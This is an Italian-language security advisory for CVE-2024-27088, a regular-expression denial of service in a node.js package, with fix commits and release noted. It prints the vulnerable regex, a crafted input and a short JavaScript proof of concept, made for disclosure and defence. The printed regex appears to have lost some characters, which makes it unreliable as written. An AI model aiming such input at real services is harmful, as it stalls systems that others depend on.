
redos
CVE-2024-27088
26 Feb 2024
ReDoS nel pacchetto node.js
Parte del progetto rebob
/^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/
Questa vulnerabilità può essere sfruttata quando c'è uno squilibrio nelle parentesi, con conseguente eccessivo backtracking e un aumento significativo del carico della CPU e del tempo di elaborazione. Può essere attivata utilizzando il seguente input:
'function{' + 'n'.repeat(31) + '){'
Ecco un semplice codice PoC per dimostrare il problema:
const protocolre = /^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/;
const startTime = Date.now();
const maliciousInput = 'function{' + 'n'.repeat(31) + '){'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
Impatto
Passare funzioni con nomi molto lunghi o nomi di argomenti predefiniti complessi a function#copy o function#toStringTokens potrebbe bloccare lo script
Patch Risolto con 3551cdd e a52e957 Pubblicato con v0.10.63
Soluzioni alternative Nessuna vera soluzione alternativa se non evitare l'uso delle utility sopra menzionate.